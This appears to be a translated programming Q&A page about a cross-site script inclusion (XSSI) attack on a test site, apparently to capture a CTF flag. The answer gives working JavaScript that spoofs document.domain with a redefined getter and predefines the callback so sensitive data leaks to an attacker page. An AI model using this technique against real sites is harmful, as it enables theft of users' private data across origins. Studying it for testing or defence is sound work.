首页 > 解决方案 > 如何绕过 document.domain 检查?

问题描述

我正在尝试在测试站点上执行 XSSI。在易受攻击的站点 vuln.com 中有一个页面 vuln.com/xssi 可以从 vuln.com/displaysensitivedata 动态加载脚本:

(function (sensitivedata) {
    if (document.domain === 'vuln.com') {
        displaysensitiveinfo(sensitivedata);
    }
})([['data1', 'FLAG{}']]);

我的目标是窃取标志,创建受害者将访问的攻击者页面。包括脚本也包括敏感数据,在我的攻击者页面中,我使 displaysensitiveinfo(sensitivedata) 方法泄漏了数据。

<script src="vuln.com/displaysensitivedata"></script>

function displaysensitiveinfo(sensitivedata){
    console.log(sensitivedata); 
}

但我无法通过 document.domain 的检查。

如何覆盖 document.domain 以绕过检查?

标签: javascriptxss

解决方案


vuln.com/displaysensitivedata 上的脚本是一个立即调用的函数表达式 (IIFE),因此您需要确保在加载该脚本之前displaysensitiveinfo评估您的函数定义。

然后你可以通过重新定义它的getter来强制document.domain返回:vuln.com

// this script must be loaded BEFORE the script at vuln.com/displaysensitivedata
Object.defineProperty(document, 'domain', {get: () => "vuln.com"});

function displaysensitiveinfo(data) {
  alert(`gotcha ${data}`);
}

// vuln.com/displaysensitivedata

(function (sensitivedata) {
  if (document.domain === 'vuln.com') {
    displaysensitiveinfo(sensitivedata);
  }
})([['data1', 'FLAG{}']]);


推荐阅读